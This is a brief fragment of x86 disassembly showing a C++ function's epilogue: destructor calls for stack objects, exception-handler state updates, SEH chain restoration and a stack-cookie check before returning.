mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x2370]
call fcn.004a4f40
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x2310]
call fcn.004a4f40
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x22b0]
call fcn.004a4f40
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x23a0]
call fcn.004a4f40
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x2340]
call fcn.004a4f40
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x2388]
call fcn.004a4f40
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x2358]
call fcn.004a4f40
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x2298]
call fcn.004a4f40
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2418]
call fcn.004a4f40
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2604]
call fcn.004f18f0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2328]
call fcn.004a4f40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c38]
call fcn.004f1990
mov eax, dword [ebp - 0x2e60]
jmp 0x4f4114
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004f49c2
mov esp, ebp
pop ebp
ret